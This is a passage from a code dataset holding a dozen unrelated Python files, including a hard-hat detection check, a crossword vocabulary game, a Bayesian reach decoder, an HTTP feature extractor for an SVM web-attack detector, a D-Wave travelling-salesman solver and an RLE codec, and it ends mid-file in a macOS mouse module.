body_part['Name'] == 'HEAD': \n ppe_items = body_part['EquipmentDetections']\n \n if not ppe_items:\n \n no_eqp_list.append(Id)\n print(f'{Id}, not have head_epq')\n \n\n for ppe_item in ppe_items:\n head_eqp = ppe_item['CoversBodyPart']['Value']\n \n if head_eqp == 'False':\n no_eqp_list.append(Id)\n print(f'{Id}, not have head_epq')\n \n if len(no_eqp_list) != 0:\n print('以下這些Id可能沒戴安全帽:')\n for number in no_eqp_list:\n print(f'Id:{number} ')\n return False\n else:\n return True\n","sub_path":"local_rekognizition.py","file_name":"local_rekognizition.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"509271293","text":"import time\nimport os\nfrom game.Crossword import *\nfrom StudyPlan.Vocab import Vocab\nfrom random import sample\nfrom WordDict.WordDict import *\nimport pickle\n\nclass gameSystem():\n def __init__(self, WORD_DICT):\n '''\n 初始化gameSystem类,设置参数\n '''\n self.time_threshold = 0.5 # 用于getBestCrossword,时间上限,如果还没有达到符合标准的结果,直接停止并输出当前结果\n self.dump_threshold = 40 # 40次放置失败,则拉黑该单词\n self.MAX_WORD_NUM = 8 # 一次最多选几个词\n self.MIN_WORD_NUM = 5 # 一个填词游戏中最少几个词\n\n # 加载词库\n self.WORD_DICT = WORD_DICT\n # print(os.path.dirname(os.getcwd()))\n # self.WORD_DICT.load(os.path.dirname(os.getcwd()) + '/WordDict/dict')\n self.allWords = self.WORD_DICT.word_list\n\n self.testMode = False\n # print('cur: ', os.getcwd())\n if os.path.exists('game'):\n self.__record_path = 'game/Game.pkl'\n else:\n self.__record_path = 'Game.pkl'\n self.game_data = []\n\n # 如果存在pickle文件,则直接从pickle文件中读取Game历史\n if os.path.exists(self.__record_path):\n # print(\"Existing Vocab......\\n\")\n pkl_file = open(self.__record_path, 'rb')\n self.game_data = pickle.load(pkl_file)\n self.vocab_dict = self.game_data[0]\n self.vocab_tier = self.game_data[1]\n self.updateWordTier()\n self.saveGame()\n pkl_file.close()\n\n # 如果还不存在pickle文件(即第一次使用程序),创建新的Game.pkl并且每个单词的正确率均设置为[0, 0, 0]\n else:\n # print(\"Not Existing Vocab......\\n\")\n self.vocab_dict = {}\n for word in self.allWords:\n self.vocab_dict[word] = [0, 0, 0] # (正确率, 正确次数, 测试次数)\n\n self.vocab_tier = [[], []]\n self.game_data = [self.vocab_dict, self.vocab_tier]\n self.updateWordTier()\n self.saveGame()\n\n def updateGameHist(self, wordACC):\n '''\n # 更新单词的测试正确率\n :param wordACC: dict, {'word': True/False}, 本次游戏的结果\n '''\n # print('updating...')\n for word in wordACC:\n self.vocab_dict[word][2] += 1\n if wordACC[word] == True:\n self.vocab_dict[word][1] += 1\n\n self.vocab_dict[word][0] = self.vocab_dict[word][1] / self.vocab_dict[word][2]\n\n self.updateWordTier()\n self.saveGame()\n\n def updateWordTier(self):\n '''\n 单词分为两个不同的优先级,供生成填词游戏时选取\n 第一级:即最高级,熟悉但正确率低的词\n 第二级:熟悉但正确率高的词\n :return:\n '''\n vocab = Vocab(self.WORD_DICT)\n famWords = vocab.getFamiliarVocabList()\n self.vocab_tier = [[], []]\n for word in famWords:\n if self.vocab_dict[word][0] < 0.5:\n self.vocab_tier[0].append(word)\n else:\n self.vocab_tier[1].append(word)\n\n def saveGame(self):\n '''\n 更新单词的测试正确率,存储到pickle文件(game/Game.pkl)中便于下次读取\n '''\n output = open(self.__record_path, 'wb')\n pickle.dump(self.game_data, output)\n output.close()\n pass\n\n def getWordListFromAll(self, num):\n '''\n :param num: 单词数量\n :return: list,单词列表\n '''\n randWords = sample(self.allWords, num)\n wordList = randWords\n\n return wordList\n\n def getWordListFromAllWithInfo(self, num):\n '''\n :param num: 单词数量\n :return: dict,单词及其释义\n '''\n randWords = sample(self.allWords, num)\n wordList = {}\n for word in randWords:\n wordList[word] = self.WORD_DICT.get_info(word)\n\n return wordList\n\n def getWordListFromStudy(self, WORD_DICT, errorWin):\n '''\n 从生词本中获取单词列表及其释义,优先抽取测试正确率低的词,比例为3:1\n :param WORD_DICT: 词库\n :param errorWin: 传递报错信息\n :return:\n '''\n vocab = Vocab(WORD_DICT)\n len_fam_list = vocab.getFamiliarVocabList().__len__()\n\n n_tier_1 = round(3 / 4 * self.MAX_WORD_NUM)\n n_tier_2 = self.MAX_WORD_NUM - n_tier_1\n\n # 如果生词本现有词太少,从全部词库中随机抽取作为补充\n if len_fam_list < self.MAX_WORD_NUM:\n # print('add from dict!')\n word_list_for_game = vocab.get_n_word_from_familiarVocab(len_fam_list)\n tmp_list = vocab.getUnfamiliarVocabList()\n while word_list_for_game.__len__() < self.MAX_WORD_NUM:\n if tmp_list:\n randWord = sample(tmp_list, 1)\n tmp_list.remove(randWord[0])\n else:\n randWord = self.getWordListFromAll(1)\n\n if randWord not in word_list_for_game:\n word_list_for_game.append(randWord[0])\n\n else:\n try:\n if self.testMode: print(self.vocab_tier)\n word_list_for_game = sample(self.vocab_tier[0], n_tier_1) + sample(self.vocab_tier[1], n_tier_2)\n except:\n try:\n if self.testMode: print('pick more from tier 1')\n word_list_for_game = sample(self.vocab_tier[0], self.MAX_WORD_NUM - min(self.vocab_tier[1].__len__(), n_tier_2)) \\\n + sample(self.vocab_tier[1], min(self.vocab_tier[1].__len__(), n_tier_2))\n except:\n if self.testMode: print('pick more from tier 2')\n word_list_for_game = sample(self.vocab_tier[0], min(self.vocab_tier[0].__len__(), n_tier_1)) + \\\n sample(self.vocab_tier[1],\n self.MAX_WORD_NUM - min(self.vocab_tier[0].__len__(), n_tier_1))\n\n wordList = {}\n for word in word_list_for_game:\n word_mean = WORD_DICT.get_mean(word)\n if word_mean == WORD_NOT_FOUND:\n errorWin.show_error(\"The meaning of the word:{} not found\".format(word))\n return\n wordList[word] = [[word_mean], {}]\n\n return wordList\n\n def getBestCrossword(self, wordList):\n \"\"\"\n 生成最优填词游戏\n 当前筛选机制为黑名单+时间限制,如果全部单词都成功放置,或剩余单词均在黑名单中,则视为最佳结果输出;如果运行达到时间限制,直接输出\n 可增加的优化机制:棋盘格大小,越小越好;棋盘格长宽比,1:1最好\n 测试效率:\n - 9个单词,生成全部放置的填词游戏,执行100次花费0.2秒\n - 10个单词,其中一个单词不可能放置,执行100次花费1.4秒(可调整要求来减少时间)\n \"\"\"\n dumpList = [] # 黑名单,记录被抛弃的单词\n dumpCount = {} # 记录每个单词失败了几次\n for word in wordList:\n dumpCount[word] = 0\n\n okay = False # 如果达到要求,停止生成,返回结果\n tmp = MyCrossword() # 初始化\n\n start_time = time.time() # 计时,测试用\n count = 0 # 计达到最佳结果的次数,测试用\n\n alldumped = True\n\n # 不断生成填字游戏,直到达到要求或达到时间限制\n while not okay and time.time() - start_time < self.time_threshold:\n count = count + 1 # 计数,测试用\n tmp = MyCrossword()\n tmp.generateCrossword(wordList) # 生成填词游戏\n\n # 如果列表中有单词未被成功放置\n if tmp.notPlaced:\n alldumped = True\n for word in tmp.notPlaced:\n if word not in dumpList: # 如果不在黑名单中\n alldumped = False\n dumpCount[word] += 1 # 失败计数加一\n if dumpCount[word] >= self.dump_threshold: # 当失败计数达到20次时,单词进入黑名单\n dumpList.append(word)\n\n # 如果全部放置成功,或剩余单词均在黑名单中,认为是最优解,输出结果\n if not tmp.notPlaced or alldumped:\n okay = True\n\n if self.testMode: print('count:', count)\n return tmp\n\n def createGameFromAllWord(self):\n '''\n 根据单词列表生成填词游戏\n :return: Crossword类,填词游戏\n '''\n okay = False\n wordList = self.getWordListFromAllWithInfo(self.MAX_WORD_NUM)\n\n while not okay:\n cw = self.getBestCrossword(wordList) # 根据要求生成较优的填词游戏\n if cw.placed.__len__() >= self.MIN_WORD_NUM:\n okay = True\n else:\n wordList = self.getWordListFromAllWithInfo(self.MAX_WORD_NUM)\n\n return cw\n\n def createGameFromStudy(self, WORD_DICT, errorWin):\n '''\n 根据生词本生成填词游戏\n :return: Crossword类,填词游戏\n '''\n wordList = self.getWordListFromStudy(WORD_DICT, errorWin)\n okay = False\n while not okay:\n cw = self.getBestCrossword(wordList) # 根据要求生成较优的填词游戏\n if cw.placed.__len__() >= self.MIN_WORD_NUM:\n okay = True\n else:\n wordList = self.getWordListFromStudy(WORD_DICT, errorWin)\n\n return cw","sub_path":"game/gameSystem.py","file_name":"gameSystem.py","file_ext":"py","file_size_in_byte":9816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"465712348","text":"import numpy as np\r\n\r\n\r\nS_TO_MS_CONSTANT = 1000\r\n\r\n\r\ndef train_decoder(train_spike_data, train_dirs, dir_list, tint_start, tint_end, bt):\r\n \"\"\"\r\n Calculates the average firing rate (from tint_start to tint_end) matrix for all neurons and reach directions of the\r\n training spike data.\r\n\r\n Parameters:\r\n train_spike_data (np.ndarray): 0 or 1 for each ms of each trial for each neuron in the training data,\r\n shape = (# of trials, # of neurons per trial, ms per trial)\r\n train_dirs (np.ndarray): experimental reach direction of each trial in the training data,\r\n shape = (# of trials,)\r\n dir_list (np.ndarray): list of possible reach directions\r\n shape = (# of reach directions,)\r\n tint_start (int): start of desired integration period within a trial (in ms)\r\n tint_end (int): end of desired integration period within a trial (in ms)\r\n bt (float): length of time in trial before target appearance (ms)\r\n\r\n Returns:\r\n avg_firing_rates (np.ndarray): matrix of average firing rate calculations for the training spike data\r\n shape = (# of neurons, # of reach directions)\r\n \"\"\"\r\n\r\n # calculate integration time, which the function averages over\r\n tint = (tint_end - tint_start) / S_TO_MS_CONSTANT\r\n\r\n num_trials, num_neurons, spikes = train_spike_data.shape\r\n num_dirs = len(dir_list)\r\n\r\n # iterate through training spike data and calculate the firing rates for each neuron in each direction\r\n avg_firing_rates = np.zeros((num_neurons, num_dirs))\r\n for d, reach_dir in enumerate(dir_list):\r\n\r\n # isolate the subset of training data that corresponds to this particular reach direction\r\n subset_spike_data = [trial for t, trial in enumerate(train_spike_data) if train_dirs[t] == reach_dir]\r\n\r\n # iterate through each neuron in that data\r\n for n in range(num_neurons):\r\n\r\n # iterate through the subset of trials, taking the sum of all spikes within the integration period and\r\n # dividing by tint as well\r\n\r\n # the 0.01 adds a buffer value in order to avoid taking the log of 0 in future calculations even if the\r\n # sum happens to be 0\r\n firing_rates = [np.sum(trial[n][int(bt + tint_start):int(bt + tint_end)]) / tint + 0.01\r\n for trial in subset_spike_data]\r\n\r\n # compute the final average firing rate based on how many trials were in the subset for this reach\r\n # direction and add to array\r\n avg_firing_rate = np.sum(firing_rates) / len(subset_spike_data)\r\n avg_firing_rates[n][d] = avg_firing_rate\r\n\r\n return avg_firing_rates\r\n\r\n\r\n# Calculates predicted test data target locations using the average firing rate values derived from the training data\r\n# and the spike counts from the test data.\r\ndef predictor(train_avg_firing_rates, test_spike_data, tint_start, tint_end, bt):\r\n \"\"\"\r\n Calculates predicted test data reach directions (corresponding to target locations) using the average firing rate values derived from the training data.\r\n\r\n Parameters:\r\n train_avg_firing_rates (np.ndarray): matrix of average firing rate calculations for the training spike data\r\n shape = (# of neurons, # of reach directions)\r\n test_spike_data (np.ndarray): 0 or 1 for each ms of each trial for each neuron in the training data,\r\n shape = (# of trials, # of neurons per trial, ms per trial)\r\n tint_start (int): start of desired integration period within a trial (in ms)\r\n tint_end (int): end of desired integration period within a trial (in ms)\r\n bt (float): length of time in trial before target appearance (ms)\r\n \r\n Returns:\r\n predictions (np.ndarray): list of predicted reach directions of each trial in the test data\r\n shape = (# of test trials,)\r\n \"\"\"\r\n\r\n tint = (tint_end - tint_start) / S_TO_MS_CONSTANT\r\n\r\n # use np.vectorize to allow np.math.log to be applied across every entry of a vector\r\n vec_log = np.vectorize(np.math.log)\r\n\r\n num_neurons, num_dirs = train_avg_firing_rates.shape\r\n num_trials = len(test_spike_data)\r\n\r\n # for every trial in the test spike data, calculate the spike count over tint\r\n predictions = np.zeros(num_trials)\r\n for num_trial in range(num_trials):\r\n\r\n # calculate the number of spike over the integration time for each neuron in this trial\r\n spike_counts = np.zeros(num_neurons)\r\n for num_neuron in range(num_neurons):\r\n # take the sum over the integration range (bt + tint_start:bt + tint_end) for num_neuron in num_trial\r\n\r\n # the 0.01 adds a buffer value in order to avoid taking the log of 0 in future calculations even if the\r\n # sum happens to be 0\r\n spike_counts[num_neuron] = np.sum([test_spike_data[num_trial]\r\n [num_neuron]\r\n [int(bt + tint_start):int(bt + tint_end)]]) + 0.01\r\n\r\n # calculate the log of the probability that each neuron in this trial is undergoing a specific reach direction\r\n # based on the average firing rates of the training data\r\n log_probs_mat = [spike_counts[n]*vec_log(tint*train_avg_firing_rates[n])\r\n - np.math.log(np.math.factorial(int(spike_counts[n])))\r\n - tint*train_avg_firing_rates[n] for n in range(num_neurons)]\r\n\r\n # use law of total probability to sum the probabilities for all neurons across each reach direction\r\n # log_probs should have length = num_dirs\r\n log_probs = np.sum(log_probs_mat, axis=0)\r\n\r\n # return the index of the maximum log probability, scaled by the intervals between reach directions\r\n # 360 is the maximum possible angle\r\n predictions[num_trial] = np.argmax(log_probs) * (360 / num_dirs)\r\n\r\n return predictions\r\n\r\n\r\ndef bayesian_decoder(train_spike_data, train_dirs, test_spike_data, dir_list, tint_start, tint_end, bt):\r\n \"\"\"\r\n Trains a bayesian decoder using existing spike and reach direction data and then apply it to a test data set and\r\n returns reach direction predictions.\r\n\r\n Parameters:\r\n Training:\r\n train_spike_data (np.ndarray): 0 or 1 for each ms of each trial for each neuron in the training data,\r\n shape = (# of trials, # of neurons per trial, ms per trial)\r\n train_dirs (np.ndarray): experimental reach direction of each trial in the training data,\r\n shape = (# of trials,)\r\n\r\n Testing:\r\n test_spike_data (np.ndarray): 0 or 1 for each ms of each trial for each neuron in the training data,\r\n shape = (# of trials, # of neurons per trial, ms per trial)\r\n\r\n MetaData:\r\n dir_list (np.ndarray): list of possible reach directions\r\n shape = (# of reach directions,)\r\n tint_start (int): start of desired integration period within a trial (in ms)\r\n tint_end (int): end of desired integration period within a trial (in ms)\r\n bt (float): length of time in trial before target appearance (ms)\r\n\r\n Returns:\r\n predictions (np.ndarray): list of predicted reach directions of each trial in the test data\r\n shape = (# of test trials,)\r\n \"\"\"\r\n\r\n # train the decoder on the training spike data, return average firing rate matrix\r\n train_avg_firing_rates = train_decoder(train_spike_data, train_dirs, dir_list, tint_start, tint_end, bt)\r\n\r\n # predict the reach direction based on the test spike data\r\n predictions = predictor(train_avg_firing_rates, test_spike_data, tint_start, tint_end, bt)\r\n\r\n return predictions\r\n\r\n\r\n\r\n","sub_path":"suede/bayesian/bayesian_decoder.py","file_name":"bayesian_decoder.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"554698203","text":"from scapy.all import sniff\n\n# attributes in our dataset CSIC 2010\nattributes = [\"Host\", \"Content-Length\", \"Content-Type\"]\nfeatures = {'typ': [\"Content-Type\"]}\n\n# usual kinds of request and their numbering in order\nmethods = [\"GET\", \"POST\", \"DELETE\", \"HEAD\", \"PUT\", \"TRACE\", \"CONNECT\"]\n\n# usual kinds of Content-Type and their numbering in order\ntyp = [\" application/x-www-form-urlencoded\", \" application/json\", \" multipart/form-data\", \" application/ocsp-request\",\n \" text/plain;charset=UTF-8\"]\n\n# store key value pair of HTTP payload\ndictionary = {}\n\n# file to store data offline\nf = open('onlinedata', 'w')\n\n\ndef search(searchFor):\n # return index KEY for words in dictionary\n for k in features:\n for v in features[k]:\n if searchFor in v:\n return k\n return None\n\n\ndef isHttp(packet):\n packet = str(packet)\n return \"HTTP\" in packet and any(i in packet for i in methods)\n\n\ndef filter(load):\n # filters the payload on basis of only the attributes required\n lv = load.split('\\r\\n')\n for i in lv:\n p = i.find(':')\n if p != -1:\n key = i[:p]\n value = i[p + 1:]\n # provide numerical value to content-type\n if key == 'Content-Type':\n # EVAL Converts string to pre-existing variable name\n dictionary[key] = str(eval(search(key)).index(value) + 1)\n elif key in attributes:\n dictionary[key] = str(value)\n # assign default value\n for k in attributes:\n if k not in dictionary:\n dictionary[k] = str('0')\n # calculation of Payload\n if dictionary['Method'] == '0':\n try:\n start = load.index('?')\n end = load.index('HTTP/')\n dictionary['Payload'] = str(len(load[start:end - 2]))\n except ValueError:\n return \"\"\n else:\n dictionary['Payload'] = dictionary['Content-Length']\n\n # writing data in file\n for k, v in list(dictionary.items()):\n f.flush()\n print(k + ': ' + v, file=f)\n print(file=f)\n dictionary.clear()\n\n\ndef pfunc(packet):\n if isHttp(packet):\n for att in methods:\n if att in str(packet):\n dictionary['Method'] = str(methods.index(att))\n load = packet.load.decode(\"utf-8\")\n filter(load)\n\n\nsniff(prn=pfunc)\n","sub_path":"SVM/extractFeaturesOnline.py","file_name":"extractFeaturesOnline.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"356373782","text":"# We use the fact that n C r = n C (n - r)\n\nfrom math import factorial\n\n\ndef choose(n_, r_):\n return factorial(n_) / (factorial(r_) * factorial(n_ - r_))\n\ncount = 0\nfor n in range(23, 101):\n for r in range(1, (n - 1) // 2 + 1):\n if choose(n, r) > 1000000:\n count += 2\n if n % 2 == 0 and choose(n, n / 2) > 1000000:\n count += 1\n\nprint(count)","sub_path":"euler53.py","file_name":"euler53.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"159389346","text":"# Wikimaps Atlas Database Creator\n\nfrom utils import *\nfrom models import Datasource\nimport yaml\nimport os.path\n\ndef create_atlas():\n \"Creates fresh wikimaps database\"\n psql_bash(\"drop database \"+atlas_db)\n psql_bash(\"create database \"+atlas_db) \n # Add PostGIS extensions\n psql_sql(\"/usr/share/postgresql/9.1/contrib/postgis-1.5/postgis.sql\")\n psql_sql(\"/usr/share/postgresql/9.1/contrib/postgis-1.5/spatial_ref_sys.sql\")\n return\n\n\ndef load_sources():\n \"Load GIS data into database\"\n with open('data_loader/sources.yaml', 'r') as f:\n atlas_data = yaml.load(f)\n \n download_dir = atlas_data[\"download_dir\"]\n \n # If data dir does not exists, create a new database and the directory for the data sources\n if not os.path.exists(download_dir):\n create_atlas()\n os.makedirs(download_dir)\n \n # Load shapefile layers into Atlas db using shp2pgsql\n for datasource in atlas_data[\"datasource\"]:\n D = Datasource(datasource, download_dir)\n D.load_layers()\n f.close()\n return\n \ndef main():\n load_sources()\n return\nmain()\n","sub_path":"api/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"19398027","text":"#D-Wave Ocean imports\r\nimport dimod\r\nimport dwave_networkx as dnx\r\nfrom dimod.binary_quadratic_model import BinaryQuadraticModel\r\nfrom dwave.system import DWaveSampler, EmbeddingComposite #Para Fazer o embendding no sistema D-wave\r\n\r\n#Outros imports\r\nimport networkx as nx\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom collections import defaultdict\r\nimport itertools\r\n\r\n\r\n#******************************************************************************\r\n#Função auxiliar que calcula a distância entre as cidades(nodos) do problema\r\n\r\ndef get_distance(route, data):\r\n \r\n #Calcula a distância total sem o retorino a cidade de inicio\r\n total_dist = 0\r\n for idx, node in enumerate(route[:-1]):\r\n dist = data[route[idx + 1]][route[idx]]\r\n total_dist += dist\r\n\r\n print(\"Distância Total (Sem retorno):\", total_dist)\r\n\r\n # Soma a distância entre o ponto de inicio e o ponto final do ciclo completo\r\n return_distance = data[route[0]][route[-1]]\r\n print('Distância entre o início e fim:', return_distance)\r\n\r\n # Pega a distância total com o retorno a cidade de inicio\r\n distance_with_return = total_dist + return_distance\r\n print(\"Distância Total (Com Retorno):\", distance_with_return)\r\n\r\n return total_dist, distance_with_return\r\n\r\n#*******************************************************************************\r\n\r\n#[0,4,1,3,2]- solução encontrada que tem a menor distância\r\n\r\n#Posição das cidades , dados aleatórios\r\npos = np.array([[21, 29],[12, 11],[ 6, 23],[ 1, 15],[35, 25]])\r\n\r\n#Cria a uma Matriz 5x5 com a diagonal principal 0 e o resto como resultado da continha feita abaixo\r\nadj = np.zeros((5,5))\r\nfor i in range(5):\r\n for j in range(5):\r\n adj[i][j] = np.sqrt((pos[i][0]-pos[j][0])**2 + (pos[i][1]-pos[j][1])**2)\r\n \r\n# Cria um grafo com os pontos que representam as cidades \r\nG = nx.from_numpy_matrix(adj)\r\n\r\n#print('adj={}'.format(adj))\r\n\r\n# Coloca as características do Grafo, pontos e arestas que ligam os pontos (existem n(n-1)/2 rotas)\r\nnodes = G.nodes()\r\nedges = G.edges()\r\nweights = nx.get_edge_attributes(G,'weight')\r\n\r\n#Uso da lib matplotlib para desenhar o grafo\r\nnx.draw_networkx_nodes(G, pos)\r\nnx.draw_networkx_edges(G, pos)\r\nplt.axis('off')\r\n#plt.show()\r\n\r\n#Começa o problema TSP\r\n\r\n#Inicio com uma rota qualquer e faz o caminho no grafo\r\nExact_route = [0, 2, 3, 1, 4]\r\nExact_weights = [(Exact_route[i], (Exact_route[(i+1)%5])) for i in range(5)]\r\nG_best = nx.from_edgelist(Exact_weights)\r\n\r\nnx.draw_networkx_nodes(G_best, pos)\r\nnx.draw_networkx_edges(G_best, pos)\r\n\r\n# Com esse comando obtemos todos os coeficientes, lineares e quadráticos para um problema QUBO do TSP.\r\ntsp_qubo = dnx.algorithms.tsp.traveling_salesperson_qubo(G)\r\n\r\nprint(tsp_qubo)\r\n\r\n#Here we will look for the Best Lagrange parameters. The Ocean documentation says that good values can found between 75-150%.\r\nlagrange = None\r\nweight='weight'\r\n\r\n# Obtem O QUBO correspondente passo a passo\r\nN = G.number_of_nodes()\r\n\r\nif lagrange is None:\r\n # If no lagrange parameter provided, set to 'average' tour length.\r\n # Usually a good estimate for a lagrange parameter is between 75-150%\r\n # of the objective function value, so we come up with an estimate for \r\n # tour length and use that.\r\n if G.number_of_edges()>0:\r\n lagrange = G.size(weight=weight)*G.number_of_nodes()/G.number_of_edges() # lagrange = N * soma_dos acoplamentos/Nc\r\n else: \r\n lagrange = 2\r\n\r\nprint('Parâmetro de Lagrange Padrão:', lagrange)\r\n\r\n# Cria a lista de parâmetros de Lagrange aceitáveis \r\nlagrange_pars = list(np.arange(int(0.9*lagrange), int(1.2*lagrange), 5))\r\nprint('Parâmetro de Lagrange para o HPO:', lagrange_pars)\r\n\r\n# Rodamos o TSP com a rotina padrão do dwave.networkx.algorithms da D-Wave\r\n\r\n#Faz o embendding no D-Wave 2000Q\r\nsampler = EmbeddingComposite(DWaveSampler(solver={'topology__type': 'chimera'}))\r\n\r\n# set parameters\r\nnum_shots = 500\r\nstart_city = 0\r\nbest_distance = sum(weights.values())\r\nbest_route = [None]*len(G)\r\n\r\n# Roda o HPO(hiperparametro de otimização) para encontrar a rota\r\nfor lagrange in lagrange_pars:\r\n print('Rodando o Annealing Quântico para o TSP com o parâmetro de Lagrange =', lagrange)\r\n route = dnx.traveling_salesperson(G, sampler, lagrange=lagrange, \r\n start=start_city, num_reads=num_shots, answer_mode=\"histogram\")\r\n print('Rota encontrada com D-Wave:', route)\r\n \r\n # print distance\r\n #Usamos a função definida no inicio para calcular a distância percorrida \r\n total_dist, distance_with_return = get_distance(route, adj)\r\n \r\n # Compara as rotas que têm o menor valor da distância\r\n if distance_with_return < best_distance:\r\n best_distance = distance_with_return\r\n best_route = route\r\n\r\n#Mostra a melhor solução encontrada \r\n\"\"\"print('***************SOLUÇÃO FINAL**************')\r\nprint('Melhor Solução encontrada:', best_route)\r\nprint('Distância Total (com restorno):', best_distance)\r\n\"\"\"\r\n\r\n#Desenha o Grafo para a melhor rota encontrada\r\nbest_weights = [(best_route[i], (best_route[(i+1)%5])) for i in range(5)]\r\nG_bestDW = nx.from_edgelist(best_weights)\r\n\r\nnx.draw_networkx_nodes(G_bestDW, pos)\r\nnx.draw_networkx_edges(G_bestDW, pos)\r\n#plt.show()","sub_path":"TSP_5.py","file_name":"TSP_5.py","file_ext":"py","file_size_in_byte":5294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"525818981","text":"\nquestion_prompts = [\n \"What color are apples?\\n(a) Red/Green\\n(b) Purple\\n(c) Orange\\n\\n\",\n \"What color are bananas?\\n(a) Teal\\n(b) Magenta\\n(c) Yellow\\n\\n\",\n \"What color are strawberries?\\n(a) Yellow\\n(b) Red\\n(c) Blue\\n\\n\",\n]\n\n# we need to think about how we can represent questions on the test\n# there are two parts: the question prompts and the answers\n# we will build a class to handle this and import it\n\nfrom Question import Question\n\n# now we need to create our objects\n# we can even add questions into here and it will know how to ask and grade it\nquestions = [\n Question(question_prompts[0], \"a\"),\n Question(question_prompts[1], \"c\"),\n Question(question_prompts[2], \"b\"),\n]\n\n# now we need to write a function to run the test and check answer\n# we also want it to grade the test, so we need to create a score\ndef run_test(questions):\n score = 0\n for question in questions:\n answer = input(question.prompt)\n if answer == question.answer:\n score += 1\n print(\"You got \" + str(score) + \"/\" + str(len(questions)) + \" correct!\")\n\nrun_test(questions)\n","sub_path":"MultipleChoice.py","file_name":"MultipleChoice.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"629352040","text":"import os\n\nimport pandas as pd\nfrom joblib import dump\nfrom sklearn.covariance import ShrunkCovariance\n\n\ndef main():\n reduced = pd.read_parquet(snakemake.input[0])\n cov = ShrunkCovariance(assume_centered=True)\n cov.fit(reduced)\n\n dump(cov, snakemake.output.model)\n dump(cov.covariance_, snakemake.output.cov)\n dump(cov.precision_, snakemake.output.inv_cov)\n\n\nif __name__ == \"__main__\":\n if os.getenv(\"SNAKE_DEBUG\", False):\n from ncbi_remap.debug import snakemake_debug\n\n snakemake = snakemake_debug(\n input=\"../../output/agg-rnaseq-wf/feature_pca_select_components.parquet\",\n output=dict(\n model=\"../../output/agg-rnaseq-wf/feature_cov_model.pkl\",\n cov=\"../../output/agg-rnaseq-wf/feature_cov.pkl\",\n inv_cov=\"../../output/agg-rnaseq-wf/feature_inverse_cov.pkl\",\n ),\n )\n\n main()\n","sub_path":"agg-rnaseq-wf/scripts/feature_cov.py","file_name":"feature_cov.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"574952464","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nclass MessageBox(models.Model):\n\tfrom_id = models.ForeignKey(User, related_name='+')\n\tfrom_name = models.CharField(max_length=30)\n\trcpt_id = models.ForeignKey(User, related_name='+')\n\trcpt_name = models.CharField(max_length=30)\n\tis_read = models.BooleanField(default=True)\n\tsent_at = models.DateTimeField(auto_now_add=True)\n\tmessage = models.TextField(max_length=4096)\n","sub_path":"tauth/messagebox/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"160475167","text":"#!/usr/bin/env python3\nimport sys\n\nsys.path.append('../shared')\nimport utility as util\n\ndef rle_encode(inpath, outpath):\n \"\"\"\n Encode the input file using the RLE codec.\n\n Params:\n inpath - path to input file to read and encode\n outpath - path to output file to write encoded data\n \"\"\"\n # Open output file for encoding\n with open(outpath, 'wb') as outfile:\n # Initialize sequence tracker and counter\n start = count = 0\n\n # Scan input for sequences of repeated symbols\n for symbol in util.filepath_bytes(inpath):\n if symbol == start and count < 255:\n count += 1\n else:\n # Output symbol sequence encoding\n if count > 0:\n outfile.write(bytes([count, start]))\n\n # Reset sequence tracker and counter\n (start, count) = (symbol, 1)\n\n # Output final sequence encoding\n if count > 0:\n outfile.write(bytes([count, start]))\n\n\ndef rle_decode(inpath, outpath):\n \"\"\"\n Decode the input file using the RLE codec.\n\n Params:\n infile - path to input file to read and decode\n outfile - path to output file to write decoded data\n \"\"\"\n # Open output file for decoding\n with open(outpath, 'wb') as outfile:\n # Initialize sequence counter\n count = None\n\n # Scan input for (count, symbol) pairs\n for symbol in util.filepath_bytes(inpath):\n if count is None:\n count = symbol\n else:\n outfile.write(bytes([symbol] * count))\n count = None\n\n\nif __name__ == '__main__':\n import codec\n\n sys.exit(codec.codec_main('RLE', '.rle', rle_encode, rle_decode))\n","sub_path":"python/rle/rle.py","file_name":"rle.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"524643653","text":"# -*- coding: iso-8859-1 -*-\n\n# Copyright 2010 Pepijn de Vos\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom Quartz import *\nfrom AppKit import NSEvent\nfrom base import PyMouseMeta, PyMouseEventMeta, MouseButtons\n\npressID = [None, kCGEventLeftMouseDown, kCGEventRightMouseDown, kCGEventOtherMouseDown]\nreleaseID = [None, kCGEventLeftMouseUp, kCGEventRightMouseUp, kCGEventOtherMouseUp]\n\n\n\ndef get_button_code(event_message):\n \"\"\" Platform specific ! \"\"\"\n \n \n if event_message == kCGEventLeftMouseDown:\n code = MouseButtons.BUTTON_LEFT\n state = True\n elif event_message == kCGEventLeftMouseUp:\n code = MouseButtons.BUTTON_LEFT\n state = False\n elif event_message == 